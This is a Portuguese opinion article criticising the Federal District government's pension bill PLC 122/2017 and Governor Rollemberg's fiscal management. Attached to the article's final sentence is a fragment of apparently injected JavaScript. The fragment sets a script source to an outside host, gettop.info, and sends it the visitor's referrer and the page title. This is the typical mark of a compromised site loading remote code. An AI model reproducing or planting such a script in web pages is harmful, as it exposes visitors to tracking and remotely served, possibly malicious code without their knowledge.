O GDF mais uma vez acionou o rolo compressor na Câmara Legislativa para tentar aprovar sua proposta de alteração e, por consequência, o confisco nos fundos de previdência dos servidores do Distrito Federal. Na teoria, o projeto (PLC 122/2017) parece até viável. Ele engana. Porém, na prática, ele significa um retrocesso, com elevado impacto social negativo e que, a médio e longo prazo, compromete a aposentadoria dos mais de 207,6 mil funcionários públicos do DF.
A previdência nada mais é que uma poupança compulsória do trabalhador, gerida pelos governos federal e estaduais, e que pertence exclusivamente aos que contribuíram para que ela existisse: os trabalhadores. Aqueles que têm descontos mensais em seus contracheques para garantir, quando idosos, um nível salarial digno, capaz, pelo menos, de cobrir gastos básicos.
Imagine agora se, após décadas de trabalho para formar esta poupança, a garantia para seu futuro, viesse o governo propondo usar o dinheiro de sua aposentadoria para cobrir uma obrigação legal dele, por não ter a competência de gerir os outros recursos? Pois é exatamente isso que o governador Rodrigo Rollemberg já fez e quer continuar fazendo de forma ainda mais destruidora, por meio do PL 122/2017.
Rollemberg faz de tudo para resolver, única e exclusivamente, o seu problema de gestão, chamado incompetência, que o torna incapaz de conduzir uma política econômica racional, guiada pelo bom senso.
Desde que assumiu o Buriti, o governador Rodrigo Rollemberg nada fez para fomentar o crescimento econômico do DF. E, já que não fez, não o fará. Por isso, as ameaças, de todo o tipo, ao serviço público apenas se tornarão mais constantes.
Apesar de, desde o dia 1º de janeiro de 2015, alegar falta de recursos para honrar, por exemplo, com os reajustes salariais, o governo deixa de arrecadar R$ 1,6 bilhão ao ano por causa de renúncias tributárias. Além disso, o GDF tampouco trabalha para, pelo menos, diminuir a inadimplência fiscal, que soma, aproximadamente, R$ 25 bilhões em débitos diversos, segundo a própria Secretaria de Fazenda.
Agora, enquanto o governo abre alas para aprovar um dos projetos mais desastrosos desta gestão, que simplesmente usurpa recursos dos servidores, a Secretaria de Saúde, essa mesma que não tem dinheiro nem para comprar papel higiênico, reserva nada menos do que R$ 10,6 milhões para investir em móveis novos. Afinal de contas, este governo trabalha com prioridades. Ou não?s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;